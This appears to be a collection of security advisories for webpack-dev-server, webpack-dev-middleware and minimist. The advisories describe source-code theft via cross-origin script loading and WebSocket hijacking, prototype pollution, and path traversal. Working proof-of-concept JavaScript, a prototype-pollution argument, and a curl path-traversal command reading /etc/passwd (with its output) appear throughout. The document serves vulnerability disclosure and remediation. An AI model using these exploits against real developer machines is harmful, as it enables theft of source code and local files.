Version Details and Security Vulnerabilities

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__. It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
5. Open the devtools console.
6. You can see the content of src/index.js and other scripts loaded.

The script in the POC site is:

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit src/index.js in the extracted directory
6. You can see the content of src/index.js

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Versions of webpack-dev-server before 3.1.10 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.

Recommendation

For webpack-dev-server update to version 3.1.11 or later.

Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.

Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.

Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).

Summary

The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.

Details

The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem. If writeToDisk configuration option is set to true, the physical filesystem is used: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21

The getFilenameFromUrl method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82 As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.

PoC

A blank project can be created containing the following configuration file webpack.config.js: module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };

When started, it is possible to access any local file, e.g. /etc/passwd: $ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Impact

The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).

If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).

If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.

Recommendation

The URL should be unescaped and normalized before any further processing.